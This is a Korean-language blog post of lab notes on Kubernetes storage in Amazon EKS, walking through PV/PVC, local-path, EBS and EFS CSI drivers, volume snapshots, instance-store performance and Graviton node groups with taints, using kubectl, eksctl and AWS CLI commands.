MyDnsHostedZoneId=$(aws route53 list-hosted-zones-by-name --dns-name "${MyDomain}." --query "HostedZones[0].Id" --output text)
echo $MyDomain, $MyDnsHostedZoneId

curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/aews/externaldns.yaml
sed -i "s/0.13.4/0.14.0/g" externaldns.yaml
MyDomain=$MyDomain MyDnsHostedZoneId=$MyDnsHostedZoneId envsubst < externaldns.yaml | kubectl apply -f -

# kube-ops-view
helm repo add geek-cookbook https://geek-cookbook.github.io/charts/
helm install kube-ops-view geek-cookbook/kube-ops-view --version 1.2.2 --set env.TZ="Asia/Seoul" --namespace kube-system
kubectl patch svc -n kube-system kube-ops-view -p '{"spec":{"type":"LoadBalancer"}}'
kubectl annotate service kube-ops-view -n kube-system "external-dns.alpha.kubernetes.io/hostname=kubeopsview.$MyDomain"
echo -e "Kube Ops View URL = http://kubeopsview.$MyDomain:8080/#scale=1.5"

 

1. 스토리지 이해

파드 내부 데이터는 파드가 정지가 되면 모두 삭제가 된다. 이유는 컨테이너가 구동될 때 임시 파일 시스템을 사용하기 때문과 동시에 개별 파드는 모두 상태가 없는 (Stateless) 애플리케이션이기 때문이다. 따라서 상태가 있는 (Stateful) 애플리케이션을 구축하기 위해서는 데이터 보존이 필요하며 쿠버네티스 환경에서는 이를 퍼시스턴트 볼륨 (Persistent Volume, PV)라는 개념으로 부르고 있다.

(출처: https://aws.amazon.com/ko/blogs/tech/persistent-storage-for-kubernetes/ )

 

정확하게는 PV와 PVC 2개의 개념으로 나뉜다. PV는 볼륨 입장에서 물리 저장소 공간을 바라본다고 할 수 있고, PVC (Persistent Volume Claim)은 파드에서 PV를 사용한다고 클레임/주장할 수 있도록 하는 개념이라고 할 수 있겠다. 이를 스토리지 클래스라는 체계적인 단위로 프로비저닝을 하여 관리하는 방식으로 쿠버네티스에서는 권장하고 있다. 또한 퍼시스턴트 볼륨 사용이 끝났을 때 해당 볼륨은 어떻게 초기화할 것인지 별도로 설정할 수 있는데, 쿠버네티스에서는 이를 Reclaim Policy라고 부른다. Reclaim Policy에는 크게 Retain(보존), Delete(삭제, 즉 EBS 볼륨도 삭제됨) 방식이 있다고 한다.

(출처: https://aws.amazon.com/ko/blogs/tech/persistent-storage-for-kubernetes/ )

 

이전 EKS 네트워킹 스터디에서 CNI가 있는 것처럼 스토리지에는 CSI (Container Storage Interface)가 있다. https://kubernetes-csi.github.io/docs/ 에 있는 내용을 번역해보았다:

CSI( 컨테이너 스토리지 인터페이스)는 Kubernetes와 같은 CO(컨테이너 오케스트레이션 시스템)의 컨테이너화된 워크로드에 임의의 블록 및 파일 스토리지 시스템을 노출하기 위한 표준이다. CSI 제3자 스토리지 제공자를 사용하면 핵심 Kubernetes 코드를 건드릴 필요 없이 Kubernetes에서 새로운 스토리지 시스템을 노출하는 플러그인을 작성하고 배포할 수 있다.

 

그렇다면 임시 파일 시스템을 사용할 때와 스토리지를 사용할 때를 비교해보도록 하자.

 

a. 기본 컨테이너 환경에서 임시 파일 시스템 사용

# 파드 배포 - date 명령어로 현재 시간을 10초 간격으로 /home/pod-out.txt 파일에 저장
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/3/date-busybox-pod.yaml
cat date-busybox-pod.yaml | yh
kubectl apply -f date-busybox-pod.yaml

# 파일 확인
kubectl get pod
kubectl exec busybox -- tail -f /home/pod-out.txt

# 파드 삭제 후 다시 생성 후 파일 정보 확인
kubectl delete pod busybox
kubectl apply -f date-busybox-pod.yaml
kubectl exec busybox -- cat /home/pod-out.txt
kubectl exec busybox -- tail -f /home/pod-out.txt

# 실습 완료 후 삭제
kubectl delete pod busybox

파드를 지우고 다시 접속하여 cat으로 조회해보면 이전 내용이 보이지 않는 것을 확인할 수 있다.

 

b. 호스트 Path 를 사용하는 PV/PVC : local-path-provisioner 스토리지 클래스로 배포하여 실습해보자.

링크에 보면 장단점이 잘 명시되어 있다. 번역한 내용을 아래에 붙인다.

장점
 - HostPath 또는 local 을 사용하여 볼륨을 동적으로 프로비저닝한다.
 - 현재 Kubernetes 로컬 볼륨 프로비저너는 로컬 볼륨에 대한 동적 프로비저닝을 수행할 수 없다.로컬 기반 영구 볼륨은 실험적인 기능이다.

단점
 - 현재 볼륨 용량 제한을 지원하지 않는다.용량 제한을 무시한다.
# 배포
curl -s -O https://raw.githubusercontent.com/rancher/local-path-provisioner/master/deploy/local-path-storage.yaml
kubectl apply -f local-path-storage.yaml

# 확인
kubectl get-all -n local-path-storage
kubectl get pod -n local-path-storage -owide
kubectl describe cm -n local-path-storage local-path-config
kubectl get sc
kubectl get sc local-path
NAME         PROVISIONER             RECLAIMPOLICY   VOLUMEBINDINGMODE      ALLOWVOLUMEEXPANSION   AGE
local-path   rancher.io/local-path   Delete          WaitForFirstConsumer   false

 

 

# PVC 생성
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/3/localpath1.yaml
cat localpath1.yaml | yh
kubectl apply -f localpath1.yaml

# PVC 확인
kubectl get pvc
kubectl describe pvc

# 파드 생성
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/3/localpath2.yaml
cat localpath2.yaml | yh
kubectl apply -f localpath2.yaml

# 파드 확인
kubectl get pod,pv,pvc
kubectl describe pv    # Node Affinity 확인
kubectl exec -it app -- tail -f /data/out.txt

# 파드 삭제 후 PV/PVC 확인
kubectl delete pod app
kubectl get pod,pv,pvc
for node in $N1 $N2 $N3; do ssh ec2-user@$node tree /opt/local-path-provisioner; done

# 파드 다시 실행
kubectl apply -f localpath2.yaml
 
# 확인
kubectl exec -it app -- head /data/out.txt
kubectl exec -it app -- tail -f /data/out.txt

 

 

예상한 대로 Node Affinity를 가진 상태에서 파드를 다시 시작하더라도 동일 경로에 있는 파일을 액세스하는 것을 확인할 수 있었다. 다음 실습을 위해 파드와 만든 PVC를 삭제하자.

# 파드와 PVC 삭제 
kubectl delete pod app
kubectl get pv,pvc
kubectl delete pvc localpath-claim

# 확인
kubectl get pv
for node in $N1 $N2 $N3; do ssh ec2-user@$node tree /opt/local-path-provisioner; done

2. AWS EBS Controller

지난 실습에서 살펴보았던 AWS LoadBalancer Controller (6번 항목)과 비슷하다고도 볼 수 있을텐데, EKS에서 EBS와 같은 AWS 스토리지를 다룰 때 AWS API를 호출하면서 AWS 스토리지를 관리하는 CSI Controller와 관련해 EBS에 해당하는 부분이 바로 AWS EBS Controller라 할 수 있겠다. 따라서 Amazon EKS add-on 형태로 Amazon EBS CSI driver를 설치하여 사용하며, 관련한 자세한 내용은 AWS 문서를 통해서도 확인 가능하다.

 

# 아래는 aws-ebs-csi-driver 전체 버전 정보와 기본 설치 버전(True) 정보 확인
aws eks describe-addon-versions \
    --addon-name aws-ebs-csi-driver \
    --kubernetes-version 1.28 \
    --query "addons[].addonVersions[].[addonVersion, compatibilities[].defaultVersion]" \
    --output text

# ISRA 설정 : AWS관리형 정책 AmazonEBSCSIDriverPolicy 사용
eksctl create iamserviceaccount \
  --name ebs-csi-controller-sa \
  --namespace kube-system \
  --cluster ${CLUSTER_NAME} \
  --attach-policy-arn arn:aws:iam::aws:policy/service-role/AmazonEBSCSIDriverPolicy \
  --approve \
  --role-only \
  --role-name AmazonEKS_EBS_CSI_DriverRole

# ISRA 확인
eksctl get iamserviceaccount --cluster myeks
NAMESPACE	    NAME				            ROLE ARN
kube-system 	ebs-csi-controller-sa		arn:aws:iam::911283464785:role/AmazonEKS_EBS_CSI_DriverRole
...

# Amazon EBS CSI driver addon 추가
eksctl create addon --name aws-ebs-csi-driver --cluster ${CLUSTER_NAME} --service-account-role-arn arn:aws:iam::${ACCOUNT_ID}:role/AmazonEKS_EBS_CSI_DriverRole --force
kubectl get sa -n kube-system ebs-csi-controller-sa -o yaml | head -5

# 확인
eksctl get addon --cluster ${CLUSTER_NAME}
kubectl get deploy,ds -l=app.kubernetes.io/name=aws-ebs-csi-driver -n kube-system
kubectl get pod -n kube-system -l 'app in (ebs-csi-controller,ebs-csi-node)'
kubectl get pod -n kube-system -l app.kubernetes.io/component=csi-driver

# ebs-csi-controller 파드에 6개 컨테이너 확인
kubectl get pod -n kube-system -l app=ebs-csi-controller -o jsonpath='{.items[0].spec.containers[*].name}' ; echo
ebs-plugin csi-provisioner csi-attacher csi-snapshotter csi-resizer liveness-probe

# csinodes 확인
kubectl get csinodes

# gp3 스토리지 클래스 생성 - Link
kubectl get sc
cat <<EOT > gp3-sc.yaml
kind: StorageClass
apiVersion: storage.k8s.io/v1
metadata:
  name: gp3
allowVolumeExpansion: true
provisioner: ebs.csi.aws.com
volumeBindingMode: WaitForFirstConsumer
parameters:
  type: gp3
  #iops: "5000"
  #throughput: "250"
  allowAutoIOPSPerGBIncrease: 'true'
  encrypted: 'true'
  fsType: xfs # 기본값이 ext4
EOT
kubectl apply -f gp3-sc.yaml
kubectl get sc
kubectl describe sc gp3 | grep Parameters

 

IRSA 서비스 계정을 생성하고 gp3라는 스토리지 클래스를 생성해 보았다.

 

이제 PVC/PV 파트 테스트를 해보자.

# 워커노드의 EBS 볼륨 확인 : tag(키/값) 필터링 - 링크
aws ec2 describe-volumes --filters Name=tag:Name,Values=$CLUSTER_NAME-ng1-Node --output table
aws ec2 describe-volumes --filters Name=tag:Name,Values=$CLUSTER_NAME-ng1-Node --query "Volumes[*].Attachments" | jq
aws ec2 describe-volumes --filters Name=tag:Name,Values=$CLUSTER_NAME-ng1-Node --query "Volumes[*].{ID:VolumeId,Tag:Tags}" | jq
aws ec2 describe-volumes --filters Name=tag:Name,Values=$CLUSTER_NAME-ng1-Node --query "Volumes[].[VolumeId, VolumeType, Attachments[].[InstanceId, State][]][]" | jq
aws ec2 describe-volumes --filters Name=tag:Name,Values=$CLUSTER_NAME-ng1-Node --query "Volumes[].{VolumeId: VolumeId, VolumeType: VolumeType, InstanceId: Attachments[0].InstanceId, State: Attachments[0].State}" | jq

# 워커노드에서 파드에 추가한 EBS 볼륨 확인
aws ec2 describe-volumes --filters Name=tag:ebs.csi.aws.com/cluster,Values=true --output table
aws ec2 describe-volumes --filters Name=tag:ebs.csi.aws.com/cluster,Values=true --query "Volumes[*].{ID:VolumeId,Tag:Tags}" | jq
aws ec2 describe-volumes --filters Name=tag:ebs.csi.aws.com/cluster,Values=true --query "Volumes[].{VolumeId: VolumeId, VolumeType: VolumeType, InstanceId: Attachments[0].InstanceId, State: Attachments[0].State}" | jq

# 워커노드에서 파드에 추가한 EBS 볼륨 모니터링
while true; do aws ec2 describe-volumes --filters Name=tag:ebs.csi.aws.com/cluster,Values=true --query "Volumes[].{VolumeId: VolumeId, VolumeType: VolumeType, InstanceId: Attachments[0].InstanceId, State: Attachments[0].State}" --output text; date; sleep 1; done

# PVC 생성
cat <<EOT > awsebs-pvc.yaml
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: ebs-claim
spec:
  accessModes:
    - ReadWriteOnce
  resources:
    requests:
      storage: 4Gi
  storageClassName: gp3
EOT
kubectl apply -f awsebs-pvc.yaml
kubectl get pvc,pv

# 파드 생성
cat <<EOT > awsebs-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: app
spec:
  terminationGracePeriodSeconds: 3
  containers:
  - name: app
    image: centos
    command: ["/bin/sh"]
    args: ["-c", "while true; do echo \$(date -u) >> /data/out.txt; sleep 5; done"]
    volumeMounts:
    - name: persistent-storage
      mountPath: /data
  volumes:
  - name: persistent-storage
    persistentVolumeClaim:
      claimName: ebs-claim
EOT
kubectl apply -f awsebs-pod.yaml

# PVC, 파드 확인
kubectl get pvc,pv,pod
kubectl get VolumeAttachment

# 추가된 EBS 볼륨 상세 정보 확인 
aws ec2 describe-volumes --volume-ids $(kubectl get pv -o jsonpath="{.items[0].spec.csi.volumeHandle}") | jq

# PV 상세 확인 : nodeAffinity 내용의 의미는?
kubectl get pv -o yaml | yh
...
    nodeAffinity:
      required:
        nodeSelectorTerms:
        - matchExpressions:
          - key: topology.ebs.csi.aws.com/zone
            operator: In
            values:
            - ap-northeast-2b
...

kubectl get node --label-columns=topology.ebs.csi.aws.com/zone,topology.kubernetes.io/zone
kubectl describe node | more

# 파일 내용 추가 저장 확인
kubectl exec app -- tail -f /data/out.txt

# 아래 명령어는 확인까지 다소 시간이 소요됨
kubectl df-pv

## 파드 내에서 볼륨 정보 확인
kubectl exec -it app -- sh -c 'df -hT --type=overlay'
kubectl exec -it app -- sh -c 'df -hT --type=xfs'

 

실제 확인을 해보니 gp3 스토리지 클래스에 대해 PVC 클레임이 완료되고 /data 마운트 포인트에 대해 PV 활용을 하는 파드에서 확인이 잘 이루어졌다.

 

볼륨 증가 또한 가능한데, 이 때 늘릴 수는 있으나 줄일 수는 없다는 점을 참고하도록 하자. 자세한 부분은 링크를 통해 내용을 참고한다. 아래 실습을 통해 10G로 볼륨 크기가 늘어남을 확인할 수 있었다.

# 현재 pv 의 이름을 기준하여 4G > 10G 로 증가 : .spec.resources.requests.storage의 4Gi 를 10Gi로 변경
kubectl get pvc ebs-claim -o jsonpath={.spec.resources.requests.storage} ; echo
kubectl get pvc ebs-claim -o jsonpath={.status.capacity.storage} ; echo
kubectl patch pvc ebs-claim -p '{"spec":{"resources":{"requests":{"storage":"10Gi"}}}}'

# 확인 : 볼륨 용량 수정 반영이 되어야 되니, 수치 반영이 조금 느릴수 있다
kubectl exec -it app -- sh -c 'df -hT --type=xfs'
kubectl df-pv
aws ec2 describe-volumes --volume-ids $(kubectl get pv -o jsonpath="{.items[0].spec.csi.volumeHandle}") | jq

 

실습을 완료한 다음에는 관련 파드 및 PVC를 삭제하도록 하자.

kubectl delete pod app & kubectl delete pvc ebs-claim

3. AWS Volume SnapShots Controller

볼륨에 대한 스냅샷은 특정 시점에 볼륨 상태가 어떠했는지 일종의 백업 형태로 바라볼 수 있겠다. 블로그에도 언급된 AWS Volume SnapShots Controller 부분을 실습해보도록 하자.

# (참고) EBS CSI Driver에 snapshots 기능 포함 될 것으로 보임
kubectl describe pod -n kube-system -l app=ebs-csi-controller

# Install Snapshot CRDs
curl -s -O https://raw.githubusercontent.com/kubernetes-csi/external-snapshotter/master/client/config/crd/snapshot.storage.k8s.io_volumesnapshots.yaml
curl -s -O https://raw.githubusercontent.com/kubernetes-csi/external-snapshotter/master/client/config/crd/snapshot.storage.k8s.io_volumesnapshotclasses.yaml
curl -s -O https://raw.githubusercontent.com/kubernetes-csi/external-snapshotter/master/client/config/crd/snapshot.storage.k8s.io_volumesnapshotcontents.yaml
kubectl apply -f snapshot.storage.k8s.io_volumesnapshots.yaml,snapshot.storage.k8s.io_volumesnapshotclasses.yaml,snapshot.storage.k8s.io_volumesnapshotcontents.yaml
kubectl get crd | grep snapshot
kubectl api-resources  | grep snapshot

# Install Common Snapshot Controller
curl -s -O https://raw.githubusercontent.com/kubernetes-csi/external-snapshotter/master/deploy/kubernetes/snapshot-controller/rbac-snapshot-controller.yaml
curl -s -O https://raw.githubusercontent.com/kubernetes-csi/external-snapshotter/master/deploy/kubernetes/snapshot-controller/setup-snapshot-controller.yaml
kubectl apply -f rbac-snapshot-controller.yaml,setup-snapshot-controller.yaml
kubectl get deploy -n kube-system snapshot-controller
kubectl get pod -n kube-system -l app=snapshot-controller

# Install Snapshotclass
curl -s -O https://raw.githubusercontent.com/kubernetes-sigs/aws-ebs-csi-driver/master/examples/kubernetes/snapshot/manifests/classes/snapshotclass.yaml
kubectl apply -f snapshotclass.yaml
kubectl get vsclass # 혹은 volumesnapshotclasses

 

아래와 같이 테스트 PVC/파드를 먼저 생성해본다.

# PVC 생성
kubectl apply -f awsebs-pvc.yaml

# 파드 생성
kubectl apply -f awsebs-pod.yaml

# 파일 내용 추가 저장 확인
kubectl exec app -- tail -f /data/out.txt

# VolumeSnapshot 생성 : Create a VolumeSnapshot referencing the PersistentVolumeClaim name >> EBS 스냅샷 확인
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/3/ebs-volume-snapshot.yaml
cat ebs-volume-snapshot.yaml | yh
kubectl apply -f ebs-volume-snapshot.yaml

# VolumeSnapshot 확인
kubectl get volumesnapshot
kubectl get volumesnapshot ebs-volume-snapshot -o jsonpath={.status.boundVolumeSnapshotContentName} ; echo
kubectl describe volumesnapshot.snapshot.storage.k8s.io ebs-volume-snapshot
kubectl get volumesnapshotcontents

# VolumeSnapshot ID 확인 
kubectl get volumesnapshotcontents -o jsonpath='{.items[*].status.snapshotHandle}' ; echo

# AWS EBS 스냅샷 확인
aws ec2 describe-snapshots --owner-ids self | jq
aws ec2 describe-snapshots --owner-ids self --query 'Snapshots[]' --output table

# app & pvc 제거 : 강제로 장애 재현
kubectl delete pod app && kubectl delete pvc ebs-claim

 

강제로 장애를 재현하였는데 이 때 스냅샷을 통해 PVC로 복원이 가능하다.

# 스냅샷에서 PVC 로 복원
kubectl get pvc,pv
cat <<EOT > ebs-snapshot-restored-claim.yaml
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: ebs-snapshot-restored-claim
spec:
  storageClassName: gp3
  accessModes:
    - ReadWriteOnce
  resources:
    requests:
      storage: 4Gi
  dataSource:
    name: ebs-volume-snapshot
    kind: VolumeSnapshot
    apiGroup: snapshot.storage.k8s.io
EOT
cat ebs-snapshot-restored-claim.yaml | yh
kubectl apply -f ebs-snapshot-restored-claim.yaml

# 확인
kubectl get pvc,pv

# 파드 생성
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/3/ebs-snapshot-restored-pod.yaml
cat ebs-snapshot-restored-pod.yaml | yh
kubectl apply -f ebs-snapshot-restored-pod.yaml

실제 실습을 할 때에는 충분히 out.txt 파일에 데이터가 기록된 상태에서 볼륨 스냅샷을 생성하는 것이 중요하다. 본인이 실습할 때에는 볼륨 스냅샷 생성을 할 때 out.txt 파일에 아무것도 기록되어 있지 않은 상태에서 진행하였기에 스냅샷 복원 후 이전 데이터가 모두 보이지 않는 것이 정상인 상황이었다.

실습을 완료하였다면 관련 리소스를 삭제하도록 하자.

kubectl delete pod app && kubectl delete pvc ebs-snapshot-restored-claim && kubectl delete volumesnapshots ebs-volume-snapshot

4. AWS EFS Controller

EFS를 EKS에서 사용하면 여러 AZ에 걸쳐 데이터를 저장하여 높은 수준의 가용성과 내구성을 제공할 수 있다.

아래 명령어를 참고하여 EFS Controller를 직접 설치해보았다.

# EFS 정보 확인 
aws efs describe-file-systems --query "FileSystems[*].FileSystemId" --output text

# IAM 정책 생성
curl -s -O https://raw.githubusercontent.com/kubernetes-sigs/aws-efs-csi-driver/master/docs/iam-policy-example.json
aws iam create-policy --policy-name AmazonEKS_EFS_CSI_Driver_Policy --policy-document file://iam-policy-example.json

# ISRA 설정 : 고객관리형 정책 AmazonEKS_EFS_CSI_Driver_Policy 사용
eksctl create iamserviceaccount \
  --name efs-csi-controller-sa \
  --namespace kube-system \
  --cluster ${CLUSTER_NAME} \
  --attach-policy-arn arn:aws:iam::${ACCOUNT_ID}:policy/AmazonEKS_EFS_CSI_Driver_Policy \
  --approve

# ISRA 확인
kubectl get sa -n kube-system efs-csi-controller-sa -o yaml | head -5
eksctl get iamserviceaccount --cluster myeks

# EFS Controller 설치
helm repo add aws-efs-csi-driver https://kubernetes-sigs.github.io/aws-efs-csi-driver/
helm repo update
helm upgrade -i aws-efs-csi-driver aws-efs-csi-driver/aws-efs-csi-driver \
    --namespace kube-system \
    --set image.repository=${ACCOUNT_ID}.dkr.ecr.${AWS_DEFAULT_REGION}.amazonaws.com/eks/aws-efs-csi-driver \
    --set controller.serviceAccount.create=false \
    --set controller.serviceAccount.name=efs-csi-controller-sa

# 확인
helm list -n kube-system
kubectl get pod -n kube-system -l "app.kubernetes.io/name=aws-efs-csi-driver,app.kubernetes.io/instance=aws-efs-csi-driver"

 

그 다음, EFS 파일 시스템을 다수의 파드가 사용하도록 설정해보자.

# 모니터링
watch 'kubectl get sc efs-sc; echo; kubectl get pv,pvc,pod'

# 실습 코드 clone
git clone https://github.com/kubernetes-sigs/aws-efs-csi-driver.git /root/efs-csi
cd /root/efs-csi/examples/kubernetes/multiple_pods/specs && tree

# EFS 스토리지클래스 생성 및 확인
cat storageclass.yaml | yh
kubectl apply -f storageclass.yaml
kubectl get sc efs-sc

# PV 생성 및 확인 : volumeHandle을 자신의 EFS 파일시스템ID로 변경
EfsFsId=$(aws efs describe-file-systems --query "FileSystems[*].FileSystemId" --output text)
sed -i "s/fs-4af69aab/$EfsFsId/g" pv.yaml

cat pv.yaml | yh
apiVersion: v1
kind: PersistentVolume
metadata:
  name: efs-pv
spec:
  capacity:
    storage: 5Gi
  volumeMode: Filesystem
  accessModes:
    - ReadWriteMany
  persistentVolumeReclaimPolicy: Retain
  storageClassName: efs-sc
  csi:
    driver: efs.csi.aws.com
    volumeHandle: fs-05699d3c12ef609e2

kubectl apply -f pv.yaml
kubectl get pv; kubectl describe pv

# PVC 생성 및 확인
cat claim.yaml | yh
kubectl apply -f claim.yaml
kubectl get pvc

# 파드 생성 및 연동 : 파드 내에 /data 데이터는 EFS를 사용
cat pod1.yaml pod2.yaml | yh
kubectl apply -f pod1.yaml,pod2.yaml
kubectl df-pv

# 파드 정보 확인 : PV에 5Gi 와 파드 내에서 확인한 NFS4 볼륨 크리 8.0E의 차이는 무엇? 파드에 6Gi 이상 저장 가능한가?
kubectl get pods
kubectl exec -ti app1 -- sh -c "df -hT -t nfs4"
kubectl exec -ti app2 -- sh -c "df -hT -t nfs4"
Filesystem           Type            Size      Used Available Use% Mounted on
127.0.0.1:/          nfs4            8.0E         0      8.0E   0% /data

# 공유 저장소 저장 동작 확인
tree /mnt/myefs              # 작업용EC2에서 확인
tail -f /mnt/myefs/out1.txt  # 작업용EC2에서 확인
kubectl exec -ti app1 -- tail -f /data/out1.txt
kubectl exec -ti app2 -- tail -f /data/out2.txt

실습을 완료한 다음에는 꼭 삭제를 하도록 하자.

# 쿠버네티스 리소스 삭제
kubectl delete pod app1 app2
kubectl delete pvc efs-claim && kubectl delete pv efs-pv && kubectl delete sc efs-sc

5. EKS Persistent Volumes for Instance Store & Add NodeGroup

새로 노드 그룹을 생성해보는 과정을 실습해보도록 하자. 인스턴스 스토어는 EC2 스토리지 (EBS) 정보에 출력되지는 않는다고 한다.

# 인스턴스 스토어 볼륨이 있는 c5 모든 타입의 스토리지 크기
aws ec2 describe-instance-types \
 --filters "Name=instance-type,Values=c5*" "Name=instance-storage-supported,Values=true" \
 --query "InstanceTypes[].[InstanceType, InstanceStorageInfo.TotalSizeInGB]" \
 --output table
--------------------------
|  DescribeInstanceTypes |
+---------------+--------+
|  c5d.large    |  50    |
|  c5d.12xlarge |  1800  |
...

# 신규 노드 그룹 생성
eksctl create nodegroup --help
eksctl create nodegroup -c $CLUSTER_NAME -r $AWS_DEFAULT_REGION --subnet-ids "$PubSubnet1","$PubSubnet2","$PubSubnet3" --ssh-access \
  -n ng2 -t c5d.large -N 1 -m 1 -M 1 --node-volume-size=30 --node-labels disk=nvme --max-pods-per-node 100 --dry-run > myng2.yaml

cat <<EOT > nvme.yaml
  preBootstrapCommands:
    - |
      # Install Tools
      yum install nvme-cli links tree jq tcpdump sysstat -y

      # Filesystem & Mount
      mkfs -t xfs /dev/nvme1n1
      mkdir /data
      mount /dev/nvme1n1 /data

      # Get disk UUID
      uuid=\$(blkid -o value -s UUID mount /dev/nvme1n1 /data) 

      # Mount the disk during a reboot
      echo /dev/nvme1n1 /data xfs defaults,noatime 0 2 >> /etc/fstab
EOT
sed -i -n -e '/volumeType/r nvme.yaml' -e '1,$p' myng2.yaml
eksctl create nodegroup -f myng2.yaml

# 노드 보안그룹 ID 확인
NG2SGID=$(aws ec2 describe-security-groups --filters Name=group-name,Values=*ng2* --query "SecurityGroups[*].[GroupId]" --output text)
aws ec2 authorize-security-group-ingress --group-id $NG2SGID --protocol '-1' --cidr 192.168.1.100/32

# 워커 노드 SSH 접속
N4=<각자 자신의 워커 노드4번 Private IP 지정>
ssh ec2-user@$N4 hostname

# 확인
ssh ec2-user@$N4 sudo nvme list
ssh ec2-user@$N4 sudo lsblk -e 7 -d
ssh ec2-user@$N4 sudo df -hT -t xfs
ssh ec2-user@$N4 sudo tree /data
ssh ec2-user@$N4 sudo cat /etc/fstab

# (옵션) max-pod 확인
kubectl describe node -l disk=nvme | grep Allocatable: -A7
Allocatable:
  attachable-volumes-aws-ebs:  25
  cpu:                         1930m
  ephemeral-storage:           27905944324
  hugepages-1Gi:               0
  hugepages-2Mi:               0
  memory:                      3097552Ki
  pods:                        100

# (옵션) kubelet 데몬 파라미터 확인 : --max-pods=29 --max-pods=100
ssh ec2-user@$N4 sudo ps -ef | grep kubelet
root      2972     1  0 16:03 ?        00:00:09 /usr/bin/kubelet --config /etc/kubernetes/kubelet/kubelet-config.json --kubeconfig /var/lib/kubelet/kubeconfig --container-runtime-endpoint unix:///run/containerd/containerd.sock --image-credential-provider-config /etc/eks/image-credential-provider/config.json --image-credential-provider-bin-dir /etc/eks/image-credential-provider --node-ip=192.168.3.131 --pod-infra-container-image=602401143452.dkr.ecr.ap-northeast-2.amazonaws.com/eks/pause:3.5 --v=2 --cloud-provider=aws --container-runtime=remote --node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=myeks,alpha.eksctl.io/nodegroup-name=ng2,disk=nvme,eks.amazonaws.com/nodegroup-image=ami-0da378ed846e950a4,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=ng2,eks.amazonaws.com/sourceLaunchTemplateId=lt-030e6043923ce712b --max-pods=29 --max-pods=100

 

 

 

스토리지 클래스를 재생성하고 Read 성능을 측정해보자.

# 기존 삭제
#curl -s -O https://raw.githubusercontent.com/rancher/local-path-provisioner/master/deploy/local-path-storage.yaml
cd
kubectl delete -f local-path-storage.yaml

#
sed -i 's/opt/data/g' local-path-storage.yaml
kubectl apply -f local-path-storage.yaml

# 모니터링
watch 'kubectl get pod -owide;echo;kubectl get pv,pvc'
ssh ec2-user@$N4 iostat -xmdz 1 -p nvme1n1

# 측정 : Read
#curl -s -O https://raw.githubusercontent.com/wikibook/kubepractice/main/ch10/fio-read.fio
kubestr fio -f fio-read.fio -s local-path --size 10G --nodeselector disk=nvme

 

성능 측정을 해보니 20,308.923828 IOPS를 얻을 수가 있었다. 일반 EBS는 약 3,000 IOPS가 나온다고 한다. 즉 인스턴스 스토어가 약 7배 빠르다. 실습을 다한 후에는 자원을 꼭 삭제하자.

kubectl delete -f local-path-storage.yaml

eksctl delete nodegroup -c $CLUSTER_NAME -n ng2

 

6. 노드 그룹 

EKS 워크샵에 보면 Graviton (ARM) 인스턴스에 대해 설명하는 내용이 있다.Graviton 인스턴스의 경우 Processor family에 'g'라는 글씨를 추가로 붙여 인스턴스 유형을 나타내며 EKS 환경에서 Graviton에 해당하는 노드 그룹을 생성하여 관리를 할 수가 있다.

 

kubectl get nodes -L kubernetes.io/arch

# 신규 노드 그룹 생성
eksctl create nodegroup --help
eksctl create nodegroup -c $CLUSTER_NAME -r $AWS_DEFAULT_REGION --subnet-ids "$PubSubnet1","$PubSubnet2","$PubSubnet3" --ssh-access \
  -n ng3 -t t4g.medium -N 1 -m 1 -M 1 --node-volume-size=30 --node-labels family=graviton --dry-run > myng3.yaml
eksctl create nodegroup -f myng3.yaml

# 확인
kubectl get nodes --label-columns eks.amazonaws.com/nodegroup,kubernetes.io/arch
kubectl describe nodes --selector family=graviton
aws eks describe-nodegroup --cluster-name $CLUSTER_NAME --nodegroup-name ng3 | jq .nodegroup.taints

# taints 셋팅 -> 적용에 2~3분 정도 시간 소요
aws eks update-nodegroup-config --cluster-name $CLUSTER_NAME --nodegroup-name ng3 --taints "addOrUpdateTaints=[{key=frontend, value=true, effect=NO_EXECUTE}]"

# 확인
kubectl describe nodes --selector family=graviton | grep Taints
aws eks describe-nodegroup --cluster-name $CLUSTER_NAME --nodegroup-name ng3 | jq .nodegroup.taints

 

위 실습 스크립트와 같이 Graviton 노드 그룹을 생성한 다음, 생성한 Graviton 노드 그룹에 taint를 설정한다. Taint는 굳이 번역하자면 일종의 '오점'이 되는데, 즉 설정된 노드에 일종의 오점을 지정하여 파드를 배치할 때 이 Taint(오점)을 용인한다는 Toleration 옵션을 설정해야 Taint가 있는 노드에 배치가 될 수가 있다.

 

2-3분 지난 후 Taint 결과를 확인해보자. 참고로 Taint는 다음과 같은 속성이 있다고 한다.

# NO_SCHEDULE - This corresponds to the Kubernetes NoSchedule taint effect. This configures the managed node group with a taint that repels all pods that don't have a matching toleration. All running pods are not evicted from the manage node group's nodes.
# NO_EXECUTE - This corresponds to the Kubernetes NoExecute taint effect. Allows nodes configured with this taint to not only repel newly scheduled pods but also evicts any running pods without a matching toleration.
# PREFER_NO_SCHEDULE - This corresponds to the Kubernetes PreferNoSchedule taint effect. If possible, EKS avoids scheduling Pods that do not tolerate this taint onto the node.

 

실제 Graviton 노드 그룹에 파드를 배치시켜보자.

cat << EOT > busybox.yaml
apiVersion: v1
kind: Pod
metadata:
  name: busybox
spec:
  terminationGracePeriodSeconds: 3
  containers:
  - name: busybox
    image: busybox
    command:
    - "/bin/sh"
    - "-c"
    - "while true; do date >> /home/pod-out.txt; cd /home; sync; sync; sleep 10; done"
  tolerations:
    - effect: NoExecute
      key: frontend
      operator: Exists
EOT
kubectl apply -f busybox.yaml

# 파드가 배포된 노드 정보 확인
kubectl get pod -owide

 

아래 스크린샷과 같이 파드에 배포할 때 toletations 속성을 지정하고 이에 따라 파드가 배포된 노드가 Gravition 노드 그룹임을 확인할 수 있었다.

 

이렇게 노드 그룹을 사용하여 특정 노드 그룹 Family에 대해 관리가 가능하다. 실습을 완료한 다음에는 자원을 삭제한다.

kubectl delete pod busybox
eksctl delete nodegroup -c $CLUSTER_NAME -n ng3

 

